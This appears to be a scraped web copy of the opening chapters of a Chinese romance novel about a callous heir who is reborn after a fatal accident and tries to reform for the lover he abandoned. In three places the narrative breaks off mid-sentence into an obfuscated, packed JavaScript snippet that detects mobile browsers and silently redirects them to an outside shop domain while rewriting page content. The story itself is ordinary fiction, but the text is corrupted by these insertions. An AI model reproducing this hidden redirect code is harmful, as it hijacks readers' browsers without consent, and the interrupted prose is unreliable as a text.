《改造渣攻的一百种方法》 1. 回国 刚进六月,南城就被泡进了连绵不绝的雨水里,整座城市都仿佛陷入了一场满是水腥味的梦境。 江观潮走出机场,看见密布的阴云下人来人往,路边,发小薛渺戴着墨镜,靠在一辆火红色的玛莎拉蒂旁,正低头抽烟,一旁不少路人在看他,间或拿着手机,窃窃私语。 江观潮咧嘴一笑,大步走上前,揽住了薛渺的肩膀:“大明星还亲自过来接机,不怕被粉丝认出来?” 薛渺抬头,隔着墨镜瞥了他一眼:“除了我以外,怕也没有其他人敢来接你的机了。” 江观潮笑笑。薛渺又问:“行李呢?” “先寄回公寓了。”江观潮说:“你新买的车?” 薛渺“嗯”了声,两人一同钻进玛莎拉蒂。路上,江观潮看着车窗外越来越熟悉的街景,唇角上扬着,心情似乎非常不错,还很悠闲地问了句:“晚上一起吃个饭?” 薛渺看了他一眼,想说什么,却被江观潮外套口袋里传出的手机铃声打断。 蹦蹦跳跳的青蛙叫声,听起来并不像是江观潮这种男人会选择的铃声类型。薛渺神情古怪了一瞬,到底没说什么,别过头去点了根烟,自顾自地抽。 另一边,江观潮做了个抱歉的手势后,接通电话。 “江观潮,”电话那头是个声音略为沙哑的女声:“你回国了?” 江观潮愣了一会儿,将手机从耳边移开,看了眼屏幕,才迟疑道:“小学妹?” “……有空吗,来下云天水吧。”女人道:“皓皓哥有东西想给你。” 江观潮眉梢一挑,眉眼弯起,露出一个笑来。这笑容里似乎夹着几分狭促和得意,仿佛对面所说的话,完全在他的意料之内:“行,知道了,这就来。” 挂断电话,江观潮对薛渺道:“计划取消,渺儿,先送我去云天水一趟,改天再聚。” 一向脾气很大的薛大明星没有因为被当成司机而不悦,一句话没说地就在导航上改了定位。若是放在平时,江观潮一定能察觉到这其中的不对劲,然而此时此刻他的心思显然已不在好友的身上,他胳膊架在车门上,托着腮,手机上挂着的手机链时不时发出轻响。 半小时的时间,玛莎拉蒂稳稳停在“云天水”的门口,一家木系风格的咖啡馆,里面顾客不少,氛围却很安静。 简单挥挥手,江观潮三步并两步地走进了咖啡馆,在清越的风铃声里环视一圈,却没找到想要找到的身影。正皱眉时,却见角落里,一名身着黑衣的年轻女人站起身,朝他举起手。 他脚步顿了下,朝那边走去。 严格意义上来说,宋霖并不是他的师妹,而是陈皓、“皓皓哥”的师妹。江观潮和陈皓恋爱后,便心安理得地跟着喊“小师妹”,一来二去喊得熟了,懒得改口,便一直沿用下来。 只是他出国前,宋霖还是个波波头圆眼镜、看起来天真无邪清澈愚蠢的大学女生,现在坐在咖啡桌旁的女人却长发披肩,神情疲惫,穿着黑衣又瘦又高,一副被社会磋磨得精疲力竭的模样。 江观潮几乎不敢认。两年时间,竟然能带给一个人如此之多的变化? 他在咖啡桌对面坐下,又左右看了看,仍然没见到陈皓的身影,有些奇怪,但也没多想,拿起桌边的菜单想要点些吃的喝的。昨天加今天,总共只吃了两顿飞机餐,这会儿食欲上来了,才想着补充点能量。 却听啪嗒一声,宋霖拍了个什么东西放到了桌上。江观潮被吸引了视线,心思从菜单上一众乱七八糟的小吃上移开,落在桌面,发现那是一张卡。 一张银行卡。 卡面上的图案,江观潮非常熟悉,蓝天草地,Q版的小猪和小羊牵着手,开开心心地走在一起。这是陈皓的卡。 他抬头,看向宋霖。 “皓皓哥托我把它给你,说这是你们之前的约定。”宋霖说。 江观潮拿起卡,看着上面的图案,不由想起当年陪着陈皓为了这张限定卡面特地跑银行的事情,有些失笑:“什么约定?这……难道是之前的什么赌注?不行,这两年不太记事了,想不起来。算了,等会儿我自己问吧。陈皓还没来吗?” “他不来了。”宋霖的语气骤然冰冷下去,“再也不来了。” 空气中飘荡的咖啡香味,间或响起的低声交谈,玻璃器皿碰撞的声音……咖啡馆内一如往常,唯独这片角落的气氛忽然凝固起来。 江观潮此时,终于腾出空来,直视宋霖的双眼,这才发现眼前的女人不止是疲惫,看向自己时,眸中竟有一种冰冷的恨意。 他感觉莫名其妙,却也收起了那副轻松玩笑的样子:“什么意思?” “什么意思?”宋霖低低嗤笑:“江观潮,我倒想问问你什么意思。当初要分手的是你,一句话不说就跑路出国的也是你。皓皓哥为了你放弃了一切,你一走就是两年,渺无音讯。如今回国,还一副理所当然他会主动来找你的态度……” “我现在告诉你,他再也不会来了,再也不会找你了。” 江观潮说:“他有男朋友——” “他死了。” 轰隆隆—— 初夏的雷雨连雷声都是闷的,在厚重的云翳下由远及近地滚动而来,最终在摩天楼间炸开巨响。 “出车祸死的。”宋霖轻声说着,看着桌上的银行卡:“他没有亲人了,却还有一点积蓄,说要全部留给你。本来他的意思是,用这笔钱换一辆车送你,但各种手续太繁琐了,我也没有太多人脉,干脆把卡给你,想做什么做什么去吧。” 江观潮拿起了卡。 他有些茫然地望着宋霖,似乎希望对方能忽然对自己露出笑脸,说一切都是玩笑。宋霖却从旁边的座椅上拿出笔记本电脑,开始对着屏幕敲敲打打,再不理他。 -- 江观潮第一次见到陈皓是在回国后的一次派对上。 他初中毕业后便被母亲接去英国生活,大学上到一半母亲交了新男友,他不想当电灯泡,正好学校里有些烦心事,便干脆任性地暂停了学业,回国散心。 江观潮常年在国外,国内与他相熟的,只有几个从小玩到大的发小,因此那个派对上,没几个人认出他是江家的人,只当他是被朋友带过来喝酒玩乐的普通人。 派对厅昏暗暧昧的灯光下,震耳欲聋的音乐里,江观潮单手抓着酒杯,托着腮,似笑非笑地看着台上衣着暴露的舞者绕着钢管起舞。他长相英俊,五官因混血而格外深邃,宽肩窄腰的高挑身材,吸引了周遭许多视线。 有不少人与他搭讪,想要认识一下他,江观潮却一律笑着回绝。舞台上的表演到了结尾,江观潮将酒杯放到吧台上,正想起身离开,衣摆却被轻轻拽了一下。 他回头。 站在他身后的,是个二十出头,皮肤很白的清秀男人,蓬松的棕发,明亮的杏眼,红唇勾着,看向他的眼神里带着不加掩饰的兴味。 男人没有如其他人那样问江观潮的来历或姓名,而是很无礼地问:“要多少钱才能包你?” 天地可鉴,江大少爷活了这么久,还是头一回被问这个问题,先是惊讶,随后倒也不恼,反而笑了起来。 眼前的男人不认识他,他却认识对方。 陈皓,陈家的小少爷,被千娇万宠养大的独生子,为人骄傲自大,脾气顽劣任性,恶名远扬到远在国外的江观潮都听说过。 却没想到,朋友口中那个顽冥不灵的小少爷,竟然长得这么好看。 这么——符合他的口味。 江观潮有一个非常恶劣的爱好,他喜欢骗人喜欢上自己,等对方按捺不住地表白,再故作惊讶,表示只把对方当成朋友,轻飘飘地拒绝。 大概他骨子里就继承了他那便宜老爹的下等基因,偏爱玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834929|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄他人的真心,并能从这种让人唾弃的行为中得到乐趣。而眼前这个出言不逊、骄傲任性的漂亮小少爷,无疑可以作为他回国后的无聊生活中,所找到的第一个乐子。 于是江观潮笑了笑。 “如果是你的话,”他说,“一万吧。” -- 最后陈皓给了江观潮一百万。 江观潮的那群发小们都知道他那个喜欢骗人真心的恶劣爱好,嬉笑着在群里打了赌,看江观潮多久能让陈小少爷掏出真心爱得死心塌地。江观潮笑着在三个月那一栏里投了票,用陈皓给的一百万作为赌注,全押了上去。 他表现得游刃有余,其实心里也有些没底。 往常他做这种事,顶多是用暧昧些的态度刻意引导。可这次对陈皓,却是要他真枪实弹地亲身上阵。 陈皓趴在江观潮怀里小声说他是第一次的时候,江观潮心不在焉地想,这同样是他的第一次。 只是谁都没想到,刚过去两个月,陈家就出了事,先是被曝出陈皓并非陈家的亲生子,后面又跑出来个灰扑扑的少年,被陈夫人接回了家,说这才是真正的陈家少爷。 一时间圈子里全乱了套,当初被陈皓针对过,看不惯他作派的人全都冒出了头,尽管陈皓还是作为养子留在了陈家,明里暗里的嘲讽和针对却层出不穷。 失意的小少爷,当然比骄傲不可一世的小少爷更好攻陷。 江观潮轻而易举地就得到了陈皓的真心,紧接着便用“不想再谈不能公开的恋爱”的借口提了分手。 富家子弟之间,和男人谈恋爱的并不少见,但大家都很清楚,这只是玩玩。到了最后,还是要回到结婚生子的“正路”上。 只是江观潮没有想到,陈皓会傻到真的和家里出柜,被赶出了陈家丢了少爷身份也无所谓,执着地握着江观潮的手,说这下他们可以公开了。 怎么会有人这么蠢? 如今回想,江观潮仍然无法理解。 身处豪门,他早早便学到,比起不可控的人心,金钱权利这种能实打实握在手里的东西才更加珍贵。于是他怎么都想不到,世界上会有人,愿意为了一段虚无缥缈的爱情,放弃富足无虑的少爷生活。 后来江观潮回了英国,一走两年,一句话都没给陈皓留。他以为陈皓一定恨死自己了,却不想小少爷出了车祸,死掉了,竟然还想着把钱留给他。 要给自己买车? 江观潮看着手里的银行卡,忍不住笑了一下。 傻子…… 他将银行卡放进外套口袋,站起身,走出了咖啡馆。 没有伞,江观潮便站在檐下躲雨。他抬头看着阴云密布的天空,想起那时小少爷挤在自己怀里,说,银行卡上的小猪和小羊代表着他们两个。小猪是江观潮,小羊则是他。 江观潮那时还想,他们莫非是在烤肉网上认识的? 一转眼,温暖消散,只剩下了口袋里的银行卡,轻飘飘空荡荡地陪着他。 陈皓死了。 江观潮仍觉得不敢相信,然而他很清楚宋霖不可能开这样的玩笑。 埋在哪座墓园了? 他拿出手机,准备打个电话问问。突然想起车上薛渺的欲言又止,终于明白,只有自己被蒙在鼓里。 “让开!” 短促的尖叫声突然在耳边炸响,江观潮回过神,雨声雷声在耳边再度真切地响起,随之而来的,还有人群惊恐慌乱的嘈杂尖叫。 看见失控的大卡车冲上人行道,笔直朝自己撞过来的瞬间,江观潮却听见自己的脑海内传出了一声冰冷的机械音。 【叮咚!】 【系统正在绑定中……】 【绑定已完成。】 还没等江观潮想明白这到底是什么鬼东西,剧烈的疼痛就席卷了他的身体,随之而来的,是近乎甜蜜的安宁黑暗。 2. 重生 工作日的晚上十一点,城市里的大多数人都已沉入梦乡,然而这个时间对“月夜”里的人们而言,不过是一天的开始。 节奏感极强的音乐,暧昧混乱的灯光,舞池里的男女们兴奋地挤在一处,兴奋地尖叫与笑声随处可闻,空气中充满了烟草酒精与香水混杂的气味。 打扮漂亮的长发女孩从吧台经过,却忽然被同伴拉住了手:“快看,吧台最右边那个!” 她侧头看去,不由眼睛一亮。 只见木质吧台的右侧,正半靠半坐着一个长相极为英俊的年轻男人,剑眉星目、鼻梁高挺,下颌线清晰得近乎凌厉,肩宽腿长,最重要的是,他的手非常好看,宽大修长且骨节分明,手背上隐约有青筋凸起,身上刺绣外套撩起袖子,露出线条完美的手臂肌肉。 男人冷淡的神情,放在别处或许会让人心生退却,但在这氛围和时间都无比合适的酒吧派对上,反倒更让人想要接近。 “他是哪家的少爷?”长发女孩儿理了下头发,显然已做好了主动出击的准备:“我之前好像没见过他。” 同伴道:“我也没见过。是不是被朋友带过来的?” “希望别是有主了的。”女孩说着,迈步想要上前。不想刚走出去几步,就被人一把拽了回来。 她转头正想发火,却对上了一张神情比她还要不爽百倍的脸。 -- 震耳欲聋的音乐声里,江观潮睁开眼,只觉得一阵恍惚。 【你已经重生了。】一颗亮着莹白光芒的星星浮现身形,同时,冰冷的机械音在他脑海内响起:【现在是三年前,你第一次回国的时候。】 江观潮从口袋里拿出手机,屏幕亮起,时间果然已经倒流回了三年前。 什么都还没发生的三年前。 陈皓还无忧无虑地活着,在京城当他嚣张跋扈的小少爷,根本不认识自己的存在。 江观潮在鬼门关走过一遭,对当下发生的离奇事件,竟然也没什么惊讶。他放下手机,在脑海内无声问道:“你想要什么?” 重生这种事,不可能是没有代价的。 果然,星星道:【宿主需要完成系统发布的任务,任务完成则保留重生奖励,否则奖励回收。】 江观潮好奇道:“什么任务?” 【摆脱“渣男”的称号,好好改造,重新做人。】 江观潮弯了弯唇角,一点儿都没有被骂“不是人”的不悦:“这任务目标也太模糊了,到时候改没改造好,岂不是你一句话的事情?” 【宿主的改造程度,系统单独有严格的判定,并非我能干涉。】 江观潮从这句话里敏锐地察觉到,这颗来头古怪的星星似乎将自身与系统做了划分,不由问道:“你叫什么?” 短暂的沉默后,星星道:【你可以叫我001。】 “001,”江观潮问:“任务有时间限制吗?” 【三年。】001说:【如果到了此前宿主死亡的时间点,仍然未能完成改造任务,则任务失败。】 江观潮点了点头,暂时已没有想要问的事情。星星便也逐渐透明了身形,消失在半空之中。 他抬手,找酒保要了杯莫吉托,在酒精的刺激下,江观潮终于逐渐找回了自己已经重生了的实感,思考起任务的事情。 其实也没什么好思考的。001说他是需要改造的渣男,这点江观潮承认,并非常认同。 不再当渣男,对江观潮来说,无非就是不要再重蹈覆辙,因为一时的乐趣去做那些玩弄人心的事情。系统将他送回来的时间点正好在他与陈皓认识以前,江观潮心想,只要这次他不去认识陈皓,把两人的联系从根源上剪断,这任务大概就算完成了大半。 他放下酒杯,起身拉好外套拉链,拿出手机给司机发了条消息。 “怎么了,观潮,这就要走啦?” 不远处的卡座里,被一群年轻男女环绕的青年见他似乎要走,大声朝他招呼了一声。 江观潮朝那青年挥了挥手,离开前,听见有人问道:“沈少,那位是您的朋友?怎么不介绍给大家认识一下呀?” 被称作“沈少”的青年笑嘻嘻道:“宝贝儿,别想啦,我兄弟他不喜欢和陌生人玩儿……” 一路走出酒吧,推开门的瞬间,微凉的夜风扑面而来,吹散了周身沾染的浑浊空气,顿时耳目一新。夜空中月色温柔,地面上的街道却因被霓虹充斥,看不出哪怕片刻的安宁。 司机还要一会儿才来,江观潮便站在路边,边玩手机边等,同时心不在焉地想,也不知道这一世自己不在,陈皓会不会在派对上看上其他长得好看的男人。 要是再被渣了,应该不能算在自己头上吧…… “喂。” 这道声音第一次响起的时候,盯着手机屏幕出神的江观潮并没有意识到对方是在和自己说话,直到袖口被拽住,他才回过神来。 “喂!” 江观潮转头。 看清身后人面容的那一刻,连他自己都很难形容出自己内心翻涌的情绪究竟是什么。 面前的黑发青年有着一双亮晶晶的杏眼,皮肤白皙,嘴唇红润饱满,个子只到自己的肩膀处,于是过往每次拥抱时,江观潮都能轻而易举将对方完全搂进怀里,满满当当。 陈皓。 短暂的怔愣后,江观潮很快意识到,眼前的陈皓,对现在的自己而言不过是个陌生人。 他收起手机,露出了一个生疏客气的微笑:“怎么了?” 陈皓并没有理会他的内心情绪有多么跌宕起伏,眯着眼打量了他一番,抬起下巴,有些傲慢道:“你有对象了吗?” 江观潮道:“有了。” 他的回答,显然在陈皓的意料之外。小少爷的脸色顿时变得极为难看,那双漂亮的杏眼瞪着他,半天才挤出一句:“骗人!你要是有对象了,怎么会这么晚了还在月夜玩?” 江观潮随口道:“因为我是个渣男。” 恋爱近一年,他对陈皓的性格不能说是了若指掌,也算摸了个七七八八。在被曝出真正身世前的陈小少爷眼里揉不得半分沙子,两人刚在一起的时候,陈皓几乎把他身边会呼吸的人形生物全都怀疑了个遍,黏在他身边寸步不离。这样的小少爷,知道看上的男人有对象,还是个不着调的“渣男”,就算再不甘心,也会选择放弃。 谁成想陈皓不仅没气恼地离开,反而在短暂的犹豫后,一把抓住了他的手:“和你对象分手。” “……什么?”江观潮愣住。 “和你对象分手!”陈皓咬着牙:“你不是渣男吗?那就赶紧和他分手,再和我在一起,我才是最适合你的那个人。” 江观潮看了他半天,才说出一句:“你喝多了?” “我没有喝酒。你会知道的,我肯定比他更好,而且更爱你。”陈皓一边说,一边拿出手机:“加我好友。” 江观潮几乎蒙圈了,脑海的混乱程度,比刚重生被告知系统的存在时还要更胜一筹。他看着陈皓,心中隐隐约约有了一个猜测:“这应该是我们第一次见面吧?” “所以才让你加我好友啊!”陈皓道:“你站这儿是在等人?等的是你对象?让他回去,我送你。” 江观潮张了张嘴,神情复杂一瞬,最后却变成了一个有些无奈的笑。 半空中,001悄无声息地现出身形,肯定了他的猜测:【你的爱人跟着一起重生了。】 江观潮道:“他不是我的爱人。” 001才懒得理他,甩下这句话后,便再次消失不见。 眼前,陈皓仍然喋喋不休,抓着江观潮的手越来越紧:“你不愿意吗?你、你对你那个对象不是认真的对吧?你说过……不……我、反正……反正我才应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834930|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该是你第一个认真喜欢的人!” 他越说语气越慌乱,不自觉咬住了嘴唇,眼神中透出无助。 江观潮不说话,也没有动作,直到陈皓终于安静下来,才开口道:“我们连认识都不认识,你就要我和我对象分手,还说你会比他更爱我……难道你是我的跟踪狂吗?” 他的本意是想把陈皓逼走,不想小少爷看着他,却是认真地点了点头。 “对啊,”陈皓笑了笑:“我跟了你好久。” -- 前世离开京城回到英国后,江观潮有很长一段时间,都会控制不住地去想,发现自己已一声不吭离开的陈皓,会有多恨他。 哪怕冷心冷肺如江观潮,也不得不承认,恋爱的那段时间里,陈皓对他确实没得说。笨拙的小少爷将整颗心都掏了出来,捧到他面前,得到的却是欺骗、分手、离开。江观潮心想,就算是个傻子,也该心冷放手了。 可江观潮没想到重生过后,在自己身上吃尽了苦头的陈皓,仍会选择爱他。 他由心而发地感到了困惑不解,两眼直直盯着眼前的青年,试图从对方身上找到说谎或是演戏的痕迹。 但是没有。 陈皓与他对视,眼里仍然是一眼就望得到底的清澈与爱慕。 江观潮心底萌生出一种冲动,想将一切挑明,问陈皓:你不生气吗?你不恨我吗?前世我把被赶出家门的你独自扔在原地,离开得那么潇洒,你就没有一点儿心灰意冷,想要放弃吗? 为什么还要喜欢我? 你不是已经知道,我是个烂人,是个渣男了吗?重生一次,你可以过得很好很滋润,何必再来跳我这个火坑,落得一身伤痕。 “不了。”江观潮转开脸,“我对你没兴趣。” 恰好这时,一辆黑色奔驰停在他面前,江观潮不再去看陈皓是个什么表情,径直拉开车门,上了车。 关上车门后,司机问:“江少,是去老宅还是?” “回碧翠华庭吧。”江观潮向后靠在座椅上,沉沉吐出一口气:“我累了。” 司机识趣地闭上嘴,车内音响也换成了舒缓的纯音乐。 江观潮闭上眼,手指无意识地伸进口袋,却摸了个空。 这才想起这会儿他还没有绑手机链的习惯。 “嗡嗡。” 手机振动,他拿出手机,随意地看了一眼。 【薛渺:我才刚来,你就已经走了?】 江观潮牵了牵唇角,正想回复,上面又刷出来新的消息。 【陌生人:我是真的喜欢你,所以我不会放弃的。】 【陌生人:我叫陈皓。】 【陌生人:你很喜欢你现在的对象吗?】 江观潮手指一顿,片刻后,移向右上。正想删除,却见001不知何时出现在手机旁,并在看清屏幕上的内容后嗤笑一声。 【拒绝、删除、回避,看来哪怕重活一世,你也没有丝毫长进。】001的机械音冰冷且无任何起伏,江观潮偏偏从其中听出了讥讽的意味:【你爱人都不害怕,你又在这里害怕什么?】 “我说了,他不是我的爱人。”江观潮冷冷道:“不是要我完成任务吗。我给不了他想要的东西,远离他难道不是理所应当?” 前世陈皓被赶出家门、断绝关系后的痛苦与落魄,江观潮看在眼里。自己又不是什么良人,不值得陈皓付出那么多。 001问:【他想要什么?】 江观潮愣住。 陈皓想要什么? 答案早就明显得不能更明显。 星星已经消失,将神出鬼没演绎到了极致。 而江观潮也懒得管它,手指搭在手机屏幕上,直到车子停在他名下公寓的门口,才给那条没有备注,却早已烂熟于心的号码发去一条消息。 【江观潮:逗你的。我没有对象。】 3. 玩笑 第一次见到陈皓的那个酒吧派对上,江观潮表面若无其事,内心却烦躁难平。 他十五岁被带到英国,没有任何人问过他的意见,他也做不得什么选择:便宜爹满心以为自己还能多生几个孩子,懒得理他,亲妈则是个习惯被宠着捧着的大小姐,从不考虑他人想法。夹在这对夫妻中间,江观潮仿佛一个没有自我想法的物品,被牵过来又被牵过去,只能接受。 好在他是个非常能适应环境,且很会给自己找乐子的人,短暂的不适应期后,他很快就在学校里找到了属于自己的圈子,有了一群一起吃喝玩乐的朋友,喝酒、派对、乐队。真要说起来,也算不上无聊。 只是偶尔,江观潮会觉得很孤独。 那种孤独不是音乐或酒精烟草能填满的,当他回到空荡荡的别墅里,远远看到老妈在庭院里与其他男人和那男人的小孩亲密谈笑,心中都会浮现出那种孤独感。 就像双脚悬空,一时找不到落点。 这种孤独感不断累积,最终在老妈找到男友,并确定再婚后彻底引爆。江观潮暂停了学业,用散心作为理由,回了国,想要透透气。而就在这一天,命运让他与陈皓相遇。 虽然喜欢玩弄人心,但江观潮的私生活可以说是相当洁身自好。然而这天的他心情烦闷非常,看着面前漂亮任性的小少爷,心头一动,放下酒杯,似笑非笑地答应了对方“包”他的要求。 在收下陈皓递过来的银行卡后,江观潮跟在陈皓身后,坐上了陈家的车。 落下隔板的后座里,霓虹灯五光十色,神情紧张、故作镇定的陈皓盯着江观潮看了半响,抿住唇,鼓足勇气攀上了江观潮的肩膀。 江观潮以为他想亲自己,犹豫了短暂一瞬,没有躲开。 挑剔如江观潮,也必须承认陈皓的长相的确符合他的口味。初吻初夜给在这样的人身上,似乎算不上浪费。 却不想,陈皓挪动身体,却是坐上了他的大腿,紧紧抱住他后,便再无其他动作。 见江观潮半天没有动作,还凑到他耳边,小声催促:“你也抱抱我呀。” 江观潮有些懵地用手臂圈住怀中青年的腰,提前做好的那些心理准备全都落了空。本以为陈小少爷能张口就对一个第一次见面的陌生男人提出要包他,一定有过不少经验,谁成想竟然如此纯情。 而陈皓的下一句话也印证了他的猜想:“我还是第一次包人。” 江观潮眨眨眼,忽然起了玩心:“放心,我有过不少经验,会伺候好你的。” “什么?!”怀中上一秒还乖乖靠着他的青年如同一只被激怒的兔子,瞬间弹了起来,杏眼瞪着他:“那些人你都断干净了听到没!要是被我抓到你乱搞,你就完了。” “怎么完?”江观潮笑着看他。 “把你大卸八块!”陈皓眯起眼:“喂,你是不是不认识我是谁?我是陈皓,陈知国是我爸。你收了我的钱,就是我的人了,要是做出什么不好的事儿来,我会让你在京城过不下去。” 江观潮本以为自己听到这种威胁,怎么都会觉得心里不舒服,可实际上,他看着眼前的陈皓,却像是被一只张牙舞爪的猫威胁,只觉得好笑。 “逗你的。”他抬起手,蹭了蹭青年的下巴:“我也是第一次。” 上一秒还仿佛喷火龙的陈皓态度立马和缓,只眼睛还有些怀疑地瞪着他:“真的吗?” “真的。”江观潮说。 于是陈皓重新靠进他怀里,并问他:“你叫什么?” “江观潮。” “多大了?” “二十二。” “比我大一岁。”陈皓说:“今天谁带你过去的?” 江观潮已下定决心装成普通人,当然不会暴露自己的真实身份,一秒都没犹豫,就随机选了个好兄弟卖了:“薛渺。我是他的粉丝……陈少,这些问题,你是不是应该在把卡给我前就问清楚?” 这句话说完的下一秒,他的脖子一痛,怔愣后才意识到,陈皓竟然咬了他一口。 “问你你答就行了,哪儿来这么多话。”陈皓舔了舔自己的虎牙,冷冷说完这句话,却环住了江观潮的脖子,没有再继续问下去,而是专心享受起眼前男人的温度。 江观潮好气又好笑,先前坐在吧台前的郁闷,却已一扫而空。 接下来的一周里,江观潮住进了陈皓名下的别墅里,每天陪着小少爷吃吃喝喝,陪玩陪睡。他很快就发现,陈皓并不像其他人说得那样刁蛮,也可能是江观潮在老妈身边待久了,已习惯了身边人的喜怒无常。陈皓的这点儿小任性在他这儿,只能算是小风小浪。 陈皓的确经常发脾气、提要求,但只要顺着他来,很快就能顺好毛,且提出来的要求也不算过分,都是类似要江观潮抱抱他、或陪他打双人游戏之类。 在他们这个圈子里,包个小情儿是再常见不过的事情。大家一手交钱一手交货,用不着任何感情,只需要巧妙的演技和年轻美好的身体就能达成一场和谐愉快的交易。 尽管江观潮不清楚其中细节,但也知道,像他和陈皓这样,不亲嘴不上床,每天一起打游戏吃饭,顶破天了晚上抱在一起纯睡觉的金主与情人关系,是极其罕见的。 他甚至有些怀疑,小少爷是太无聊了,纯粹给自己找个玩伴,其他心思一点儿也无。 于是在一个晚上,吃完晚饭后,江观潮坐在沙发上,抱着握着手柄盯着屏幕玩得满脸认真的陈皓,低声问:“陈少,你不想和我做吗?” 下一秒,陈皓的手一抖,屏幕上人物应声倒地,进入读档界面。 那天,江大少在被包一个星期后,终于成功将自己的初吻送了出去。 他清楚地记得,在他吻住那两瓣柔软饱满的唇时,陈皓两眼紧闭,长长的睫毛颤得厉害。 江观潮心头微动,伸出舌尖,探入小少爷湿润的口腔。他看见陈皓的睫毛颤抖得更剧烈,有细细的呜咽从两人交接的唇缝中传出,羽毛般撩拨在他的心脏。 一吻结束后,江观潮收回舌尖,抱着靠在自己肩头微微喘息的陈皓,笑着问:“吃橘子糖了?” 陈皓耳尖红得仿佛下一秒就要烧起来,小声嘀咕了一句:“就你嘴尖。” 当天晚上,江观潮懒洋洋地靠在主卧的大床上,在他们一群一起长大的发小组建的群里看到了有关自己的赌注,他随手将陈皓给自己的那一百万押了上去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834931|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想要把从没有谈过恋爱、没接过吻的纯情小少爷的真心拿到手,对江观潮而言,实在是一件太过容易的事情。 群里的公子哥们纷纷指责起江观潮亲身下场的违规行为,并诚实地跟着他押了同个选项。江观潮笑着回了几句,要他们帮自己遮掩身份,免得陈皓查出什么不该查出的事。 一旁传来浴室门打开的声音,裹着浴袍、带着一身水汽的陈皓走出来,扑到了床上。 江观潮熟练地隐藏了群聊消息,将手机扔到一旁,将刚洗过澡浑身香喷喷的小少爷抱进怀里。 陈皓趴到他的胸口,盯着他,手指戳着他的腹肌,红着耳朵不说话。 江观潮一眼就看出了陈皓的意思,本想再晾他一会儿,却被那湿漉漉的杏眼看得喉结一滚,低声问:“想要亲?” 陈皓眼睛亮起,点头。 江观潮便将他搂进怀里亲吻,吸住了小少爷的舌尖,正想用手解开陈皓浴袍的系带,手臂却传来一阵疼痛——陈皓拧了他一下。 江观潮有些恼,松开嘴唇,皱眉看着陈皓,没想到陈皓拧完了,还踹他一脚:“你轻点儿行不行!” 江观潮抓了抓头发,也是脾气上来了,正想起身去浴室,却见陈皓手一拉,解开了睡袍。 金娇玉养长大的小少爷白得晃眼,一身皮肉如同凝脂般光洁柔腻,热水澡后透着淡淡的粉色,细腰长腿,连脚趾都是粉白的。 “不能最后一步。”陈皓咬着唇,瞪着他。 江观潮忽然忘了自己上一秒在恼什么。 后来很长一段时间里,回到英国的江观潮想起他与陈皓的相处,都会觉得一阵恍惚。 陈皓曾对他说,江观潮,我从一开始就不是想要包你,我是想和你谈恋爱。 然而江观潮连感情本身都不屑于相信,更不可能信什么一见钟情的事情。 他只是不在乎地笑笑,敷衍地摸摸陈皓的脑袋,说:“我知道了。” 可回头看去,江观潮才发现,尽管娇纵任□□耍脾气,陈皓却从没真的逼迫他做任何他不想做的事情,两人的亲密接触,也都是江观潮主动了,陈皓才会更进一步。 他把他当成爱人,他却只将他当做玩物。 -- 给陈皓发完消息后,江观潮走下车,让司机回家,自己则站在公寓楼的路灯下,抽了支烟。 他已很久没抽过烟,瘾本就不大,陈皓让他戒,他也就戒了。 现在重新再抽,竟然觉得呛得难受。 江观潮不知道自己离开的那两年里,被陈家赶出家门的陈皓是怎么度过的。连煤气灶都用不明白的小少爷,学会独自生活了吗? 那笔用来给自己买车的钱,又是怎么攒下来的? 江观潮看着不断飘向夜空的烟雾,有些出神,却听手机传出提示音。 【陈皓:不要开这种玩笑了好不好!!!】 【陈皓:你现在住在哪里?】 【陈皓:明天我可以见你吗?】 【陈皓:我真的喜欢你,给我个机会吧。】 江观潮叹了口气,掐了烟,点了点屏幕上对方发来的消息。 怎么就是学不乖。 4. 做饭 001说的那些话,江观潮听在耳里,也记进了心里。他必须承认,这个给了自己第二次生命的神秘生物说得没错。陈皓都没怕,他在怕什么?陈皓想要的东西究竟是什么,他难道还不清楚吗? 只是一来,江观潮仍然不能保证自己能负责到底,都说虎父无犬子,他那便宜爹如今已娶到第六房老婆,他总疑心自己那喜爱玩弄人心、三分钟热度的性子是遗传自那糟糕的男人。若有一天他真的变了心,伤了陈皓,或许一切还不如不开始。不去接近保持距离,不也是一种不当渣男吗。 二来……他还有很多事情,没有对陈皓坦白。 前世江观潮将一大堆烂摊子留在京城,自个儿倒是走得毫无留恋。于是直到离开前,陈皓都以为他只是个普通人家的大学生,为了学费和生活费,才接受了包养。这个误会大概直到陈皓死去都没有解开,否则陈皓也不会张罗着要给他买车了。 如今江观潮的思绪还没完全整理好,并不准备太快就将自己也重生了的事实暴露出来。但有些谎言,这一世,他不想再讲第二遍。 